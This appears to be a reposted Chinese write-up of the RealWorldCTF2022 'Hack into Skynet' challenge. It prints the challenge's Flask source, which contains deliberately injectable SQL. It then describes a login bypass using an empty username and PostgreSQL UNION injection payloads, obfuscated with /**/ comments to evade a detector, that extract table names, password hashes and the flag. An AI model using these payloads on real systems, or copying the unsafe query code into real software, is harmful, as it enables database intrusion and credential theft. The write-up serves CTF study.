[RealWorldCTF2022] Hack into Skynet
考点
PostgreSQL注入
解题
首先看源代码:
#!/usr/bin/env python3
import flask
import psycopg2
import datetime
import hashlib
from skynet import Skynet
app = flask.Flask(__name__, static_url_path='')
skynet = Skynet()
def skynet_detect():
req = {
'method': flask.request.method,
'path': flask.request.full_path,
'host': flask.request.headers.get('host'),
'content_type': flask.request.headers.get('content-type'),
'useragent': flask.request.headers.get('user-agent'),
'referer': flask.request.headers.get('referer'),
'cookie': flask.request.headers.get('cookie'),
'body': str(flask.request.get_data()),
}
_, result = skynet.classify(req)
return result and result['attack']
@app.route('/static/<path:path>')
def static_files(path):
return flask.send_from_directory('static', path)
@app.route('/', methods=['GET', 'POST'])
def do_query():
if skynet_detect():
return flask.abort(403)
if not query_login_state():
response = flask.make_response('No login, redirecting', 302)
response.location = flask.escape('/login')
return response
if flask.request.method == 'GET':
return flask.send_from_directory('', 'index.html')
elif flask.request.method == 'POST':
kt = query_kill_time()
if kt:
result = kt
else:
result = ''
return flask.render_template('index.html', result=result)
else:
return flask.abort(400)
@app.route('/login', methods=['GET', 'POST'])
def do_login():
if skynet_detect():
return flask.abort(403)
if flask.request.method == 'GET':
return flask.send_from_directory('static', 'login.html')
elif flask.request.method == 'POST':
if not query_login_attempt():
return flask.send_from_directory('static', 'login.html')
else:
session = create_session()
response = flask.make_response('Login success', 302)
response.set_cookie('SessionId', session)
response.location = flask.escape('/')
return response
else:
return flask.abort(400)
def query_login_state():
sid = flask.request.cookies.get('SessionId', '')
if not sid:
return False
now = datetime.datetime.now()
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute("SELECT sessionid"
" FROM login_session"
" WHERE sessionid = %s"
" AND valid_since <= %s"
" AND valid_until >= %s"
"", (sid, now, now))
data = [r for r in cursor.fetchall()]
return bool(data)
def query_login_attempt():
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
if not username and not password:
return False
sql = ("SELECT id, account"
" FROM target_credentials"
" WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
user = sql_exec(sql)
name = user[0][1] if user and user[0] and user[0][1] else ''
return name == username
def create_session():
valid_since = datetime.datetime.now()
valid_until = datetime.datetime.now() + datetime.timedelta(days=1)
sessionid = hashlib.md5((str(valid_since)+str(valid_until)+str(datetime.datetime.now())).encode()).hexdigest()
sql_exec_update(("INSERT INTO login_session (sessionid, valid_since, valid_until)"
" VALUES ('{}', '{}', '{}')").format(sessionid, valid_since, valid_until))
return sessionid
def query_kill_time():
name = flask.request.form.get('name', '')
if not name:
return None
sql = ("SELECT name, born"
" FROM target"
" WHERE age > 0"
" AND name = '{}'").format(name)
nb = sql_exec(sql)
if not nb:
return None
return '{}: {}'.format(*nb[0])
def sql_exec(stmt):
data = list()
try:
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute(stmt)
for row in cursor.fetchall():
data.append([col for col in row])
cursor.close()
except Exception as e:
print(e)
return data
def sql_exec_update(stmt):
data = list()
try:
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute(stmt)
conn.commit()
except Exception as e:
print(e)
return data
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
主要关注登录这里的查询语句:
def query_login_attempt():
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
if not username and not password:
return False
sql = ("SELECT id, account"
" FROM target_credentials"
" WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
user = sql_exec(sql)
name = user[0][1] if user and user[0] and user[0][1] else ''
return name == username
这行语句的意思是从数据库中查询密码md5值对应的用户,并赋值给user
,然后将user\user[0]\user[0][1]
和我们传递进去的username
进行比较,如果相同返回True
,但是注意这里的三目运算符:
name = user[0][1] if user and user[0] and user[0][1] else ''
如果没有查询到对应密码账户的话就会令user=''
,倘若我们抓包将post传递的username
也改为空,那么NULL==NULL
一样是可以返回True
,从而绕过校验登录成功。
所以POST请求/login
:
username=&password=123
即可登录成功。
然后进入到了一个查询页面,查询的代码如下:
def query_kill_time():
name = flask.request.form.get('name', '')
if not name:
return None
sql = ("SELECT name, born"
" FROM target"
" WHERE age > 0"
" AND name = '{}'").format(name)
nb = sql_exec(sql)
if not nb:
return None
return '{}: {}'.format(*nb[0])
尝试PostgreSQL注入
name=1'/**/union/**/all/**/select/**/current_database(),NULL/**/limit/**/'1
成功得到库名:
ctf: None
接下来查询表名:
name=1'/**/union/**/all/**/select/**/tablename,NULL/**/from/**/pg_tables/**/limit/**/'1
得到:
target: None
然后利用子查询查字段:
name=1'/**/union/**/all/**/select/**/(select/**/string_agg(attname,',')/**/from/**/pg_attribute/**/limit/**/'1'),NULL/**/limit/**/'1
得到所有的字段名。
接下来结合一下源码中的SQL语句就可以猜出字段名和表名,接下来查一下password:
name=1'/**/union/**/all/**/select/**/(select/**/string_agg(password,',')/**/FROM/**/target_credentials/**/LIMIT/**/'1'),NULL/**/limit/**/'1
得到:
eb0f4c3b032e72d6fdf908dfcfe4836c,6bc9e9826b1f7db871df3faa3c05fc12,fce0d789753046f11407583d5f17cfc0,243868ea1cf339cccb64825d7046751d,21b2b033840ddc913e13ccbd948088fd,d0178d7f0f50773d4d86996fdbed41c3,069ff8c230a22dac03bd5bdc282ee5b9,ebed242b8676fd7633bea0c8d55f6e80,2a1d849ee8902c2c4a99dda66ab81552,68c3be21f9e0918c2705560ffb44b6da,9ad4b735cf458292eecd3b5db7fba511,1103d84a668960f97603398c84e6012e,c9c1327b206d21f39d083df86cd9dd50: None
然而并没有什么卵用,然后返回去看字段发现了一个secret_key
,构造语句查询获得flag:
name=1'/**/union/**/all/**/select/**/(select/**/string_agg(secret_key,',')/**/from/**/target_credentials/**/limit/**/'1'),NULL/**/limit/**/'1
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n},92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937,92ed3ec5e34b68ab2c3984a1b5474937: None
原文地址:https://blog.csdn.net/2401_88750741/article/details/145139373
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!